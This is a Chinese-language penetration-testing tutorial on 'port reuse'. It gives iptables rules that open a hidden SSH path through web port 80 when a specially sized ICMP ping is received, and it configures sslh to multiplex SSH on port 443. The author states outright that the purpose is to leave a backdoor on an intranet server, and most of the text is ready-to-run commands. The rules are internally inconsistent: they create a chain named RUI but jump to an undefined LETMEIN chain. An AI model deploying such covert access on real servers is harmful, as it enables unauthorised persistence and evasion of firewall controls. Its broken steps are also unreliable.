1、端口复用的概念
端口复用是不同的应用程序使用相同的端口进行通讯,在内网渗透中,服务器仅允许指定的端口开放,利用端口复用可以把例如3389端口转发到80端口上进行外部连接
目的:服务器一般部署在内网,仅有web服务用于被访问,我们将其他的服务通过端口复用绑定在80端口上,相当于给自己留下了一个后门
2、iptables端口复用
步骤:
1、创建端口复用链
iptables -t nat -N RUI
2、添加端口复用规则到内部,将流量转发到22端口
iptables -t nat -A RUI -p tcp -j REDIRECT --to-port 22
3、创建开启开关,如果接收到长1139的ICMP包,则将来源ip添加到letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
4、创建关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
5、如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
6、测试
&1(开启复用):向目标发送一个长为1111的ICMP包,实际长度为1139
ping -c 1 -s 1111 192.168.20.129
&2(关闭复用):向目标发送一个长度为1112的ICMP数据包,实际长度为1140
ping -c 1 -s 1112 192.168.20.129
ICMP包:
因为IP报头最小长度20字节,ICMP报头最小长度8字节,所以这里实际长度算法为1111+28=1139
1112+28=1140
3、基于sslh端口复用
装载sslh(Ubuntu)
apt-get install sslh
配置Apache或者Nginx服务器
#首先找到
listen 443 ssl;
#然后修改为
listen 127.0.0.1:443 ssl;
然后保存退出
配置sslh
vim /etc/default/sslh
找到
Run=no
#然后改成yes
Run=yes
允许 sslh在所有可用接口上侦听端口 443
DAEMON_OPTS=“–user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid”
然后就可以重启服务了
service sslh restart
重启服务后
测试—检查 SSLH 守护程序是否正在监听 443即可
ps -ef | grep sslh